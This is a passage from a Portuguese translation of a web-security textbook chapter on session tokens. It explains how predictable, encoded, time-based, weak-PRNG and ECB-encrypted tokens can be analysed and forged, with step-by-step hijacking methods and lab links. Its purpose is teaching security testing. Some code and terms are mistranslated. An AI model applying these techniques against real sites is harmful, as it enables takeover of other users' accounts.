   - Os dados no item parecem estar criptografados (e, portanto, não têm estrutura discernível) ou assinados (e, portanto, têm uma estrutura significativa acompanhada de alguns bytes de dados binários sem sentido).
   - O aplicativo pode rejeitar tentativas de enviar o mesmo item com mais de uma solicitação.
3. Se as evidências sugerirem fortemente que o aplicativo não está usando tokens de sessão para gerenciar o estado, é improvável que qualquer um dos ataques descritos neste capítulo consiga alguma coisa. Seu tempo provavelmente seria mais bem gasto procurando outros problemas sérios, como controles de acesso quebrados ou injeção de código.

Pontos fracos na geração de tokens

Os mecanismos de gerenciamento de sessão geralmente são vulneráveis a ataques porque os tokens são gerados de maneira insegura, o que permite que um invasor identifique os valores dos tokens que foram emitidos para outros usuários.

OBSERVAÇÃO Há vários locais em que a segurança de um aplicativo depende da imprevisibilidade dos tokens que ele gera. Aqui estão alguns exemplos:

- Tokens de recuperação de senha enviados para o endereço de e-mail registrado do usuário
- Tokens colocados em campos de formulários ocultos para evitar ataques de falsificação de solicitações entre sites (consulte o Capítulo 13)
- Tokens usados para dar acesso único a recursos protegidos
- Tokens persistentes usados nas funções "lembrar de mim"
- Tokens que permitem que os clientes de um aplicativo de compras que não usa autenticação recuperem o status atual de um pedido existente

As considerações deste capítulo relacionadas a pontos fracos na geração de tokens se aplicam a todos esses casos. De fato, como muitos dos aplicativos atuais dependem de mecanismos de plataforma maduros para gerar tokens de sessão, geralmente é nessas outras áreas de funcionalidade que são encontrados os pontos fracos exploráveis na geração de tokens.

Tokens significativos

Alguns tokens de sessão são criados usando uma transformação do nome de usuário ou endereço de e-mail do usuário ou outras informações associadas a essa pessoa. Essas informações podem ser codificadas ou ofuscadas de alguma forma e podem ser combinadas com outros dados.

Por exemplo, o token a seguir pode parecer inicialmente uma longa cadeia de caracteres aleatória:

```
757365723d6461663b6170703d61646d696e3b646174653d30312f31322f3131
```

No entanto, em uma inspeção mais detalhada, você pode ver que ela contém apenas caracteres hexadecimais. Supondo que a cadeia de caracteres possa ser, na verdade, uma codificação hexadecimal de uma cadeia de caracteres ASCII, você pode executá-la em um decodificador para revelar o seguinte:

```
user=daf;app=admin;date=10/09/11
```

Os invasores podem explorar o significado desse token de sessão para tentar adivinhar as sessões atuais de outros usuários do aplicativo. Usando uma lista de nomes de usuário enumerados ou comuns, eles podem gerar rapidamente um grande número de tokens potencialmente válidos e testá-los para confirmar quais são válidos.

Os tokens que contêm dados significativos geralmente apresentam uma estrutura. Em outras palavras, eles contêm vários componentes, geralmente separados por um delimitador, que podem ser extraídos e analisados separadamente para permitir que um invasor entenda sua função e os meios de geração. Aqui estão alguns componentes que podem ser encontrados em tokens estruturados:

- O nome de usuário da conta
- O identificador numérico que o aplicativo usa para distinguir entre contas
- O nome e o sobrenome do usuário
- O endereço de e-mail do usuário
- O grupo ou a função do usuário no aplicativo
- Um carimbo de data/hora
- Um número crescente ou previsível
- O endereço IP do cliente

Cada componente diferente de um token estruturado, ou mesmo o token inteiro, pode ser codificado de maneiras diferentes. Isso pode ser uma medida deliberada para ofuscar seu conteúdo ou pode simplesmente garantir o transporte seguro de dados binários via HTTP. Os esquemas de codificação comumente encontrados incluem XOR, Base64 e representação hexadecimal usando caracteres ASCII (consulte o Capítulo 3). Pode ser necessário testar várias decodificações em cada componente de um token estruturado para desempacotá-lo em sua forma original.

OBSERVAÇÃO Quando um aplicativo lida com uma solicitação que contém um token estruturado, ele pode não processar de fato todos os componentes com o token ou todos os dados contidos em cada componente. No exemplo anterior, o aplicativo pode decodificar o token em Base64 e, em seguida, processar apenas os componentes "user" (usuário) e "date" (data). Nos casos em que um token contém uma bolha de dados binários, grande parte desses dados pode ser um preenchimento. Apenas uma pequena parte deles pode ser realmente relevante para a validação que o servidor executa no token. Limitar as subpartes de um token que são realmente necessárias pode reduzir consideravelmente a quantidade de entropia e complexidade aparentes que o token contém.

ETAPAS DO HACK

1. Obtenha um único token do aplicativo e modifique-o de forma sistemática para determinar se o token inteiro é validado ou se alguns de seus subcomponentes são ignorados. Tente alterar o valor do token um byte de cada vez (ou até mesmo um bit de cada vez) e reenvie o token modificado ao aplicativo para determinar se ele ainda é aceito. Se você descobrir que certas partes do token não precisam realmente ser corretas, poderá excluí-las de qualquer análise adicional, reduzindo potencialmente a quantidade de trabalho que precisa realizar. Você pode usar o tipo de carga útil "char frobber" no Burp Intruder para modificar o valor de um token em uma posição de caractere por vez, para ajudar nessa tarefa.
2. Faça login como vários usuários diferentes em momentos diferentes e registre os tokens recebidos do servidor. Se o autorregistro estiver disponível e você puder escolher seu nome de usuário, faça login com uma série de nomes de usuário semelhantes contendo pequenas variações entre eles, como A, AA, AAA, AAAA, AAAB, AAAC, AABA e assim por diante. Se outros dados específicos do usuário forem enviados no login ou armazenados em perfis de usuário (como um endereço de e-mail), faça um exercício semelhante para variar esses dados sistematicamente e registre os tokens recebidos após o login.
3. Analise os tokens quanto a quaisquer correlações que pareçam estar relacionadas ao nome de usuário e a outros dados controláveis pelo usuário.
4. Analise os tokens em busca de qualquer codificação ou ofuscação detectável. Quando o nome de usuário contiver uma sequência do mesmo caractere, procure uma sequência de caracteres correspondente no token, o que pode indicar o uso de ofuscação XOR. Procure sequências no token que contenham apenas caracteres hexadecimais, o que pode indicar uma codificação hexadecimal de uma cadeia ASCII ou outras informações. Procure sequências que terminem em um sinal de igual e/ou que contenham apenas os outros caracteres válidos do Base64: a a z, A a Z, 0 a 9, + e /.
5. Se for possível fazer a engenharia reversa de algum significado a partir da amostra de tokens de sessão, considere se você tem informações suficientes para tentar adivinhar os tokens emitidos recentemente para outros usuários do aplicativo. Encontre uma página do aplicativo que seja dependente da sessão, como uma que retorne uma mensagem de erro ou um redirecionamento para outro local se for acessada sem uma sessão válida. Em seguida, use uma ferramenta como o Burp Intruder para fazer um grande número de solicitações a essa página usando tokens adivinhados. Monitore os resultados para verificar se há casos em que a página é carregada corretamente, indicando um token de sessão válido.

EXPERIMENTE!

```
http://mdsec.net/auth/321/
http://mdsec.net/auth/329/
http://mdsec.net/auth/331/
```

Tokens previsíveis

Alguns tokens de sessão não contêm nenhum dado significativo que os associe a um usuário específico. No entanto, eles podem ser adivinhados porque contêm sequências ou padrões que permitem que um invasor extrapole a partir de uma amostra de tokens para encontrar outros tokens válidos emitidos recentemente pelo aplicativo. Mesmo que a extrapolação envolva alguma tentativa e erro (por exemplo, um palpite válido a cada 1.000 tentativas), isso ainda permitiria que um ataque automatizado identificasse um grande número de tokens válidos em um período de tempo relativamente curto.

As vulnerabilidades relacionadas à geração previsível de tokens podem ser muito mais fáceis de descobrir em implementações comerciais de gerenciamento de sessões, como servidores da Web ou plataformas de aplicativos da Web, do que em aplicativos personalizados. Quando você está mirando remotamente em um mecanismo de gerenciamento de sessão personalizado, sua amostra de tokens emitidos pode ser restrita pela capacidade do servidor, pela atividade de outros usuários, pela largura de banda, pela latência da rede e assim por diante. No entanto, em um ambiente de laboratório, é possível criar rapidamente milhões de tokens de amostra, todos precisamente sequenciados e com registro de data e hora, além de eliminar a interferência causada por outros usuários.

Nos casos mais simples e descaradamente vulneráveis, um aplicativo pode usar um número sequencial simples como token de sessão. Nesse caso, você só precisa obter uma amostra de dois ou três tokens antes de lançar um ataque que capturará rapidamente 100% das sessões válidas no momento.

A Figura 7-1 mostra o Burp Intruder sendo usado para percorrer os dois últimos dígitos de um token de sessão sequencial para encontrar valores em que a sessão ainda está ativa e pode ser sequestrada. Aqui, a duração da resposta do servidor é um indicador confiável de que uma sessão válida foi encontrada. O recurso extract grep também foi usado para mostrar o nome do usuário conectado para cada sessão.

Em outros casos, os tokens de um aplicativo podem conter sequências mais elaboradas que exigem algum esforço para serem descobertas. Os tipos de variações possíveis que você pode encontrar aqui são abertos, mas a experiência dos autores no campo indica que os tokens de sessão previsíveis geralmente surgem de três fontes diferentes:

- Sequências ocultas
- Dependência de tempo
- Geração de números aleatórios fracos

Examinaremos cada uma dessas áreas

individualmente.

Sequências ocultas

É comum encontrar tokens de sessão que não podem ser facilmente previstos quando analisados em sua forma bruta, mas que contêm sequências que se

revelam quando os tokens são adequadamente decodificados ou descompactados.

Figura 7-1: Um ataque para descobrir sessões válidas em que o token de sessão é previsível

Considere a seguinte série de valores, que formam um componente de um token de sessão estruturado:

```
lwjVJA
Ls3Ajg
xpKr+A
XleXYg
9hyCzA
jeFuNg
JaZZoA
```

Nenhum padrão imediato é discernível; no entanto, uma inspeção superficial indica que os tokens podem conter dados codificados em Base64. Além dos caracteres alfabéticos e numéricos em caixa mista, há um caractere +, que também é válido em uma cadeia codificada em Base64. A execução dos tokens em um decodificador Base64 revela o seguinte:

```
--Õ$
.ÍÀŽ
Æ'"ø
^W-b
ö'Ì
?án6
%¦Y
```

Essas cadeias de caracteres parecem ser sem sentido e também contêm caracteres não imprimíveis. Isso normalmente indica que você está lidando com dados binários em vez de texto ASCII. Ao renderizar os dados decodificados como números hexadecimais, obtém-se o seguinte:

```
9708D524
2ECDC08E
C692ABF8
5E579762
F61C82CC
8DE16E36
25A659A0
```

Ainda não há um padrão visível. Entretanto, se você subtrair cada número do anterior, chegará ao seguinte:

```
FF97C4EB6A
97C4EB6A
FF97C4EB6A
97C4EB6A
FF97C4EB6A
FF97C4EB6A
FF97C4EB6A
```

que revela imediatamente o padrão oculto. O algoritmo usado para gerar tokens adiciona 0x97C4EB6A ao valor anterior, trunca o resultado em um número de 32 bits e codifica em Base64 esses dados binários para permitir que sejam transportados usando o protocolo HTTP baseado em texto. Usando esse conhecimento, você pode facilmente escrever um script para produzir a série de tokens que o servidor produzirá em seguida e a série que ele produziu antes da amostra capturada.

Dependência de tempo

Alguns servidores e aplicativos da Web empregam algoritmos para gerar tokens de sessão que usam o tempo de geração como uma entrada para o valor do token. Se outra entropia insuficiente for incorporada ao algoritmo, você poderá prever os tokens de outros usuários. Embora qualquer sequência de tokens, por si só, possa parecer aleatória, a mesma sequência, associada a informações sobre o horário em que cada token foi gerado, pode conter um padrão discernível. Em um aplicativo movimentado, com um grande número de sessões sendo criadas a cada segundo, um ataque com script pode conseguir identificar um grande número de tokens de outros usuários. Ao testar o aplicativo da Web de um varejista on-line, os autores encontraram obteve a seguinte sequência de tokens de sessão:

```
3124538-1172764258718
3124539-1172764259062
3124540-1172764259281
3124541-1172764259734
3124542-1172764260046
3124543-1172764260156
```

```
3124544-1172764260296
3124545-1172764260421
3124546-1172764260812
3124547-1172764260890
```

Cada token é claramente composto de dois componentes numéricos separados. O primeiro número segue uma sequência simples de incremento e é fácil de prever. O segundo número aumenta em uma quantidade variável a cada vez. O cálculo das diferenças entre seu valor em cada ficha sucessiva revela o seguinte:

```
344
219
453
312
110
140
125
391
78
```

A sequência não parece conter um padrão previsível de forma confiável. No entanto, seria claramente possível aplicar força bruta ao intervalo de números relevante em um ataque automático para descobrir valores válidos na sequência. Antes de tentar esse ataque, no entanto, esperamos alguns minutos e coletamos outra sequência de tokens:

```
3124553-1172764800468
3124554-1172764800609
3124555-1172764801109
3124556-1172764801406
3124557-1172764801703
3124558-1172764802125
3124559-1172764802500
3124560-1172764802656
3124561-1172764803125
3124562-1172764803562
```

Comparando essa segunda sequência de tokens com a primeira, dois pontos são imediatamente óbvios:

- A primeira sequência numérica continua a progredir de forma incremental; no entanto, cinco valores foram ignorados desde o final da primeira sequência. Isso ocorre, provavelmente, porque os valores ausentes foram emitidos para outros usuários que se conectaram ao aplicativo na janela entre os dois testes.
- A segunda sequência numérica continua a progredir em intervalos semelhantes aos anteriores; no entanto, o primeiro valor que obtemos é 539.578 vezes maior que o valor anterior.

Essa segunda observação nos alerta imediatamente sobre o papel desempenhado pelo tempo na geração de tokens de sessão. Aparentemente, apenas cinco tokens foram emitidos entre os dois exercícios de coleta de tokens. No entanto, passou-se um período de aproximadamente 10 minutos. A explicação mais provável é que o segundo número depende do tempo e provavelmente é uma simples contagem de milissegundos.

De fato, nosso palpite está correto. Em uma fase subsequente de nossos testes, realizamos uma revisão do código, que revela o seguinte algoritmo de geração de tokens:

```
String sessId = Integer.toString(s_SessionIndex++) + "-
    " +
    System.currentTimeMillis();
```

Considerando nossa análise de como os tokens são criados, é fácil estruturar um ataque com script para coletar os tokens de sessão que o aplicativo emite para outros usuários:

- Continuamos a sondar o servidor para obter novos tokens de sessão em rápida sucessão.
- Monitoramos os aumentos no primeiro número. Quando esse número aumenta em mais de 1, sabemos que um token foi emitido para outro usuário.
- Quando um token é emitido para outro usuário, sabemos os limites superior e inferior do segundo número que foi emitido para essa pessoa, pois temos os tokens que foram emitidos imediatamente antes e depois dele. Como estamos obtendo novos tokens de sessão com frequência, o intervalo entre esses limites normalmente consistirá em apenas algumas centenas de valores.
- Sempre que um token é emitido para outro usuário, lançamos um ataque de força bruta para iterar cada número no intervalo, acrescentando-o ao número incremental incorreto que sabemos que foi emitido para o outro usuário. Tentamos acessar uma página protegida usando cada token que construímos, até que a tentativa seja bem-sucedida e tenhamos comprometido a sessão do usuário.
- A execução contínua desse ataque com script nos permitirá capturar o token de sessão de todos os outros usuários do aplicativo. Quando um usuário administrativo fizer login, comprometeremos totalmente o aplicativo inteiro.

EXPERIMENTE!

http://mdsec.net/auth/339/

http://mdsec.net/auth/340/

http://mdsec.net/auth/347/

http://mdsec.net/auth/351/

Geração de números aleatórios fracos

Muito pouco do que ocorre em um computador é aleatório. Portanto, quando a aleatoriedade é necessária para alguma finalidade, o software usa várias técnicas para gerar números de forma pseudo-aleatória. Alguns dos algoritmos usados produzem sequências que parecem ser estocásticas e manifestam uma distribuição uniforme no intervalo de valores possíveis. No entanto, elas podem ser extrapoladas para frente ou para trás com perfeita precisão por qualquer pessoa que obtenha uma pequena amostra de valores. Quando um gerador de números pseudo-aleatórios previsível é usado para produzir tokens de sessão, os tokens resultantes são vulneráveis ao sequenciamento por um invasor. O Jetty é um servidor da Web popular escrito 100% em Java que fornece um mecanismo de gerenciamento de sessão para ser usado por aplicativos executados nele. Em 2006, Chris Anley, da NGSSoftware, descobriu que o mecanismo era vulnerável a um ataque de previsão de token de sessão. O servidor usava a API Java `java.util.Random` para gerar tokens de sessão. Isso implementa um "gerador congruencial linear". que gera o próximo número da sequência da seguinte forma:

```
int next(int bits) protegido e sincronizado {
      seed = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
      return (int)(seed >>> (48 - bits));
}
```

Esse algoritmo pega o último número gerado, multiplica-o por uma constante e adiciona outra constante para obter o próximo número. O número é truncado em 48 bits, e o algoritmo desloca o resultado para retornar o número específico de bits solicitado pelo chamador.

Conhecendo esse algoritmo e um único número gerado por ele, podemos facilmente derivar a sequência de números que o algoritmo gerará em seguida. Com um pouco de teoria dos números, também podemos derivar a sequência que ele gerou anteriormente. Isso significa que um invasor que obtém um único token de sessão do servidor pode obter os tokens de todas as sessões atuais e futuras.

OBSERVAÇÃO Às vezes, quando os tokens são criados com base na saída de um gerador de números pseudo-aleatórios, os desenvolvedores decidem construir cada token concatenando várias saídas sequenciais do gerador. A lógica percebida para isso é que se cria um token mais longo e, portanto, mais "forte". No entanto, essa tática geralmente é um erro. Se um invasor puder obter várias saídas consecutivas do gerador, isso poderá permitir que ele deduza algumas informações sobre seu estado interno. De fato, pode ser mais fácil para o invasor extrapolar a sequência de saídas do gerador, seja para frente ou para trás.

Outras estruturas de aplicativos prontas para uso utilizam fontes de entropia surpreendentemente simples ou previsíveis na geração de tokens de sessão, muitas das quais são determinísticas. Por exemplo, nas estruturas PHP 5.3.2 e anteriores, o token de sessão é gerado

com base no endereço IP do cliente, tempo de época na criação do token, microssegundos na criação do token e um gerador congruencial linear. Embora existam vários valores desconhecidos aqui, alguns aplicativos podem divulgar informações que permitem inferi-los. Um site de rede social pode divulgar o horário de login e o endereço IP dos usuários do site. Além disso, a semente usada nesse gerador é a hora em que o processo PHP foi iniciado, o que poderia ser determinado como estando dentro de um pequeno intervalo de valores se o invasor estiver monitorando o servidor.

OBSERVAÇÃO Essa é uma área de pesquisa em evolução. Os pontos fracos na geração de tokens de sessão do PHP foram apontados na lista de discussão Full Disclosure em 2001, mas não foram demonstrados como sendo realmente exploráveis. A teoria de 2001 foi finalmente colocada em prática por Samy Kamkar com a ferramenta phpwn em 2010.

Testando a qualidade da aleatoriedade

Em alguns casos, é possível identificar padrões em uma série de tokens apenas com a inspeção visual ou com uma quantidade modesta de análise manual. Em geral, porém, é necessário usar uma abordagem mais rigorosa para testar a qualidade da aleatoriedade nos tokens de um aplicativo.

A abordagem padrão para essa tarefa aplica os princípios do teste de hipóteses estatísticas e emprega vários testes bem documentados que procuram evidências de não aleatoriedade em uma amostra de tokens. As etapas de alto nível desse processo são as seguintes:

1. Comece com a hipótese de que os tokens são gerados aleatoriamente.
2. Aplique uma série de testes, cada um dos quais observa propriedades específicas da amostra que provavelmente terão determinadas características se os tokens forem gerados aleatoriamente.
3. Para cada teste, calcule a probabilidade de ocorrência das características observadas, partindo do pressuposto de que a hipótese é verdadeira.
4. Se essa probabilidade ficar abaixo de um determinado nível (o "nível de significância"), rejeite a hipótese e conclua que os tokens não são gerados aleatoriamente.

A boa notícia é que você não precisa fazer nada disso manualmente! A melhor ferramenta disponível atualmente para testar a aleatoriedade dos tokens de aplicativos da Web é o Burp Sequencer. Essa ferramenta aplica vários testes padrão de forma flexível e fornece resultados claros e fáceis de interpretar.

Para usar o Burp Sequencer, você precisa encontrar uma resposta do aplicativo que emite o token que deseja testar, como uma resposta a uma solicitação de login que emite um novo cookie contendo um token de sessão. Selecione a opção "send to sequencer" (enviar para o sequenciador) no menu de contexto do Burp e, na configuração do Sequenciador, defina o local do token na resposta, conforme mostrado na Figura 7-2. Você também pode

configure várias opções que afetam a forma como os tokens são coletados e, em seguida, clique no botão Iniciar captura para começar a capturar tokens. Se você já tiver obtido uma amostra adequada de tokens por outros meios (por exemplo, salvando os resultados de um ataque do Burp Intruder), poderá usar a guia de carregamento manual para ignorar a captura de tokens e prosseguir diretamente para a análise estatística.

Figura 7-2: Configuração do Burp Sequencer para testar a aleatoriedade de um token de sessão

Quando tiver obtido uma amostra adequada de tokens, você poderá realizar a análise estatística na amostra. Também é possível realizar análises provisórias enquanto a amostra ainda estiver sendo capturada. Em geral, a obtenção de uma amostra maior melhora a confiabilidade da análise. O tamanho mínimo de amostra que o Burp exige é de 100 tokens, mas o ideal é que você obtenha uma amostra muito maior do que essa. Se a análise de algumas centenas de tokens mostrar conclusivamente que os tokens falham nos testes de aleatoriedade, você pode decidir razoavelmente que não é necessário capturar mais tokens. Caso contrário, você deve continuar capturando tokens e refazer a análise periodicamente. Se você capturar 5.000 tokens que comprovadamente passarem nos testes de aleatoriedade, poderá decidir que isso é suficiente. Entretanto, para obter conformidade com os testes formais de aleatoriedade do FIPS, é necessário obter uma amostra de 20.000 tokens. Esse é o maior tamanho de amostra que o Burp suporta.

O Burp Sequencer executa os testes estatísticos em nível de caractere e de bit. Os resultados de todos os testes são agregados para fornecer uma estimativa geral do número

de bits de entropia efetiva dentro do token; esse é o principal resultado a ser considerado. No entanto, você também pode se aprofundar nos resultados de cada teste para entender exatamente como e por que diferentes partes do token foram aprovadas ou reprovadas em cada teste, conforme mostrado na Figura 7-3. A metodologia usada para cada tipo de teste é descrita abaixo dos resultados do teste.

Figura 7-3: Análise dos resultados do Burp Sequencer para entender as propriedades dos tokens que foram testados

Observe que o Burp executa todos os testes individualmente em cada caractere e bit de dados dentro do token. Em muitos casos, você descobrirá que grandes partes de um token estruturado não são aleatórias; isso, por si só, pode não apresentar nenhum tipo de fraqueza. O que importa é que o token contenha um número suficiente de bits que sejam aprovados nos testes de aleatoriedade. Por exemplo, se um token grande contém 1.000 bits de informação e apenas 50 desses bits passam nos testes de aleatoriedade, o token como um todo não é menos robusto do que um token de 50 bits que passa totalmente nos testes.

OBSERVAÇÃO Tenha em mente duas advertências importantes ao realizar estatísticas. testes de aleatoriedade. Essas ressalvas afetam a interpretação correta dos resultados dos testes e suas consequências para a postura de segurança do aplicativo. Primeiro, os tokens gerados de forma totalmente determinística podem passar nos testes estatísticos de aleatoriedade. Por exemplo, um gerador de números pseudoaleatórios congruenciais lineares ou um algoritmo que calcula o hash de um número sequencial pode produzir resultados que passam nos testes. No entanto, um
O atacante que conhece o algoritmo e o estado interno do gerador pode extrapolar sua saída com total confiabilidade nas direções direta e inversa.

Em segundo lugar, os tokens que não passam nos testes estatísticos de aleatoriedade podem não ser de fato previsíveis em nenhuma situação prática. Se um determinado bit de um token falhar no teste
testes, isso significa apenas que a sequência de bits observada nessa posição contém características que provavelmente não ocorrerão em um token genuinamente aleatório.
Mas tentar prever o valor desse bit no próximo token, com base nas características observadas, pode ser pouco mais confiável do que uma adivinhação cega.
Multiplicar essa falta de confiabilidade por um grande número de bits que precisam ser previstos simultaneamente pode significar que a probabilidade de fazer uma previsão correta é extremamente baixa.

ETAPAS DO HACK

1. Determine quando e como os tokens de sessão são emitidos percorrendo o aplicativo desde a primeira página do aplicativo até as funções de login. Dois comportamentos são comuns:
   - O aplicativo cria uma nova sessão sempre que é recebida uma solicitação que não envia um token.
   - O aplicativo cria uma nova sessão após um login bem-sucedido.

   Para coletar um grande número de tokens de forma automatizada, o ideal é identificar uma única solicitação (normalmente **`GET /`** ou um envio de login) que faça com que um novo token seja emitido.
2. No Burp Suite, envie a solicitação que cria uma nova sessão para o Burp Sequencer e configure o local do token. Em seguida, inicie uma captura ao vivo para coletar o maior número possível de tokens. Se um mecanismo de gerenciamento de sessão personalizado estiver em uso e você só tiver acesso remoto ao aplicativo, colete os tokens o mais rápido possível para minimizar a perda de tokens emitidos para outros usuários e reduzir a influência de qualquer dependência de tempo.
3. Se um mecanismo comercial de gerenciamento de sessão estiver em uso e/ou se você tiver acesso local ao aplicativo, poderá obter sequências indefinidamente grandes de tokens de sessão em condições controladas.

4. Enquanto o Sequenciador Burp estiver capturando tokens, ative a configuração "auto analyse" (análise automática) para que o Burp execute automaticamente a análise estatística periodicamente. Colete pelo menos 500 tokens antes de analisar os resultados detalhadamente. Se um número suficiente de bits dentro do token tiver passado nos testes, continue coletando tokens pelo tempo que for possível, revisando os resultados da análise à medida que mais tokens forem capturados.
5. Se os tokens falharem nos testes de aleatoriedade e parecerem conter padrões que poderiam ser explorados para prever tokens futuros, execute novamente o exercício com um endereço IP diferente e (se relevante) um nome de usuário diferente. Isso o ajudará a identificar se o mesmo padrão é detectado e se os tokens recebidos no primeiro exercício podem ser extrapolados para identificar os tokens recebidos no segundo. Às vezes, a sequência de tokens capturados por um usuário manifesta um padrão. Mas isso não permitirá a extrapolação direta para os tokens emitidos para outros usuários, porque informações como o IP de origem são usadas como fonte de entropia (como uma semente para um gerador de números aleatórios).
6. Se você acredita que tem informações suficientes sobre o algoritmo de geração de tokens para montar um ataque automatizado contra as sessões de outros usuários, é provável que a melhor maneira de fazer isso seja por meio de um script personalizado. Ele pode gerar tokens usando os padrões específicos que você observou e aplicar qualquer codificação necessária. Consulte o Capítulo 14 para conhecer algumas técnicas genéricas de aplicação de automação a esse tipo de problema.
7. Se o código-fonte estiver disponível, analise atentamente o código responsável pela geração de tokens de sessão para entender o mecanismo usado e determinar se ele é vulnerável à previsão. Se a entropia for extraída de dados que podem ser determinados no aplicativo dentro de um intervalo de força bruta, considere o número prático de solicitações que seriam necessárias para forçar um token de aplicativo.

EXPERIMENTE!

`http://mdsec.net/auth/361/`

Tokens criptografados

Alguns aplicativos usam tokens que contêm informações significativas sobre o usuário e procuram evitar os problemas óbvios que isso acarreta criptografando os tokens antes de serem emitidos para os usuários. Como os tokens são criptografados usando uma chave secreta desconhecida pelos usuários, essa parece ser uma abordagem robusta, pois os usuários não conseguirão descriptografar os tokens e adulterar seu conteúdo.

No entanto, em algumas situações, dependendo do algoritmo de criptografia usado e da maneira como o aplicativo processa os tokens, pode ser possível que os usuários adulterem o conteúdo significativo dos tokens sem descriptografá-los de fato. Por mais bizarro que possa parecer, esses são ataques viáveis que, às vezes, são fáceis de realizar, e vários aplicativos do mundo real se mostraram vulneráveis a eles. Os tipos de ataques aplicáveis dependem do algoritmo criptográfico exato que está sendo usado.

Cifras do BCE

Os aplicativos que empregam tokens criptografados usam um algoritmo de criptografia simétrica para que os tokens recebidos dos usuários possam ser descriptografados para recuperar seu conteúdo significativo. Alguns algoritmos de criptografia simétrica usam uma cifra de "livro de códigos eletrônico" (ECB). Esse tipo de cifra divide o texto simples em blocos de tamanho igual (por exemplo, 8 bytes cada) e criptografa cada bloco usando a chave secreta. Durante a descriptografia, cada bloco de texto cifrado é descriptografado usando a mesma chave para recuperar o bloco original de texto simples. Um recurso desse método é que os padrões no texto simples podem resultar em padrões no texto cifrado, pois blocos idênticos de texto simples serão criptografados em blocos idênticos de texto cifrado. Para alguns tipos de dados, como imagens de bitmap, isso significa que informações significativas do texto simples podem ser discernidas no texto cifrado, conforme ilustrado na Figura 7-4.

Figura 7-4: Padrões no texto simples que é criptografado usando uma cifra ECB podem ser visíveis no texto cifrado resultante.

Apesar dessa deficiência do ECB, essas cifras são frequentemente usadas para criptografar informações em aplicativos da Web. Mesmo em situações em que o problema de padrões dentro do texto simples não surge, ainda podem existir vulnerabilidades. Isso se deve ao comportamento da cifra de criptografar blocos de texto simples idênticos em blocos de texto cifrado idênticos.

Considere um aplicativo cujos tokens contêm vários componentes significativos diferentes, inclusive um identificador numérico de usuário:

```
rnd=2458992;app=iTradeEUR_1;uid=218;username=dafydd;time=634430423694715 000;
```

Quando esse token é criptografado, ele é aparentemente sem sentido e é provável que passe em todos os testes estatísticos padrão de aleatoriedade:

```
68BAC980742B9EF80A27CBBBC0618E3876FF3D6C6E6A7B9CB8FCA486F9E11922776F0307
329140AABD223F003A8309DDB6B970C47BA2E249A0670592D74BCD07D51A3E150EFC2E69
885A5C8131E4210F
```

A cifra ECB que está sendo empregada opera em blocos de dados de 8 bytes, e os blocos de texto simples são mapeados para os blocos correspondentes de texto cifrado da seguinte forma:

```
rnd=2458      68BAC980742B9EF8
992;app=      0A27CBBBC0618E38
iTradeEU      76FF3D6C6E6A7B9C
R_1;uid=      B8FCA486F9E11922
218;user      776F0307329140AA
name=daf      BD223F003A8309DD
ydd;time B6B970C47BA2E249
=6344304     A0670592D74BCD07
23694715     D51A3E150EFC2E69
000;         885A5C8131E4210F
```

Agora, como cada bloco de texto cifrado sempre será descriptografado no mesmo bloco de texto simples, é possível que um invasor manipule a sequência de blocos de texto cifrado de modo a modificar o texto simples correspondente de maneira significativa. Dependendo de como exatamente o aplicativo processa o token descriptografado resultante, isso pode permitir que o invasor mude para um usuário diferente ou aumente os privilégios.

Por exemplo, se o segundo bloco for duplicado após o quarto bloco, a sequência de blocos será a seguinte:

```
rnd=2458      68BAC980742B9EF8
992;app=      0A27CBBBC0618E38
iTradeEU      76FF3D6C6E6A7B9C
R_1;uid=      B8FCA486F9E11922
992;app= 0A27CBBBC0618E38
218;user      776F0307329140AA
name=daf      BD223F003A8309DD
ydd;time B6B970C47BA2E249
=6344304     A0670592D74BCD07
23694715     D51A3E150EFC2E69
000;         885A5C8131E4210F
```

O token descriptografado agora contém um valor `de uid` modificado e também um valor `de aplicativo` duplicado. O que acontece exatamente depende de como o aplicativo processa o token descriptografado. Geralmente, os aplicativos que usam tokens dessa forma inspecionam apenas determinadas partes do token descriptografado, como o identificador de usuário. Se o aplicativo se comportar dessa forma, ele processará a solicitação no contexto do usuário que tem um `uid` de 992, em vez do 218 original.

O ataque descrito acima dependeria da emissão de um valor `rnd` adequado que correspondesse a um valor `uid` válido quando os blocos fossem manipulados. Um ataque alternativo e mais confiável seria registrar um nome de usuário que contenha um valor numérico no deslocamento apropriado e duplicar esse bloco de modo a substituir o valor `uid` existente. Suponha que você registre o nome de usuário `daf1` e receba o seguinte token:

```
9A5A47BF9B3B6603708F9DEAD67C7F4C76FF3D6C6E6A7B9CB8FCA486F9E11922A5BC430A
73B38C14BD223F003A8309DDF29A5A6F0DC06C53905B5366F5F4684C0D2BBBB08BD834BB
ADEBC07FFE87819D
```

Os blocos de texto simples e texto cifrado para esse token são os seguintes:

```
rnd=9224      9A5A47BF9B3B6603
856;app=      708F9DEAD67C7F4C
iTradeEU      76FF3D6C6E6A7B9C
R_1;uid=      B8FCA486F9E11922
219;user      A5BC430A73B38C14
name=daf      BD223F003A8309DD
1;time=6 F29A5A6F0DC06C53
3 4 4 3 0 5 0 3   905B5366F5F4684C
61065250     0D2BBBB08BD834BB
0;           ADEBC07FFE87819D
```

Se você duplicar o sétimo bloco após o quarto bloco, seu token descriptografado conterá um valor `uid` de 1:

```
rnd=9224      9A5A47BF9B3B6603
856;app=      708F9DEAD67C7F4C
iTradeEU      76FF3D6C6E6A7B9C
R_1;uid=      B8FCA486F9E11922
1;time=6 F29A5A6F0DC06C53
219;user      A5BC430A73B38C14
name=daf      BD223F003A8309DD
1;time=6 F29A5A6F0DC06C53
3 4 4 3 0 5 0 3   905B5366F5F4684C
61065250     0D2BBBB08BD834BB
0;           ADEBC07FFE87819D
```

Ao registrar um intervalo adequado de nomes de usuário e executar novamente esse ataque, é possível percorrer todo o intervalo de valores válidos `de uid` e, assim, mascarar-se como todos os usuários do aplicativo.

EXPERIMENTE!

http://mdsec.net/auth/363/

Cifras CBC

As deficiências das cifras ECB levaram ao desenvolvimento das cifras de encadeamento de blocos de cifras (CBC). Com uma cifra CBC, antes de cada bloco de texto simples ser criptografado, ele é XORed contra o bloco anterior de texto cifrado, conforme mostrado na Figura 7-5. Isso impede que blocos de texto simples idênticos sejam criptografados em blocos de texto cifrado idênticos. Durante a descriptografia, a operação XOR é aplicada de forma inversa, e cada bloco descriptografado é comparado com o bloco anterior de texto cifrado para recuperar o texto simples original.

Figura 7-5: Em uma cifra CBC, cada bloco de texto simples é comparado por XOR com o bloco anterior de texto cifrado antes de ser criptografado.

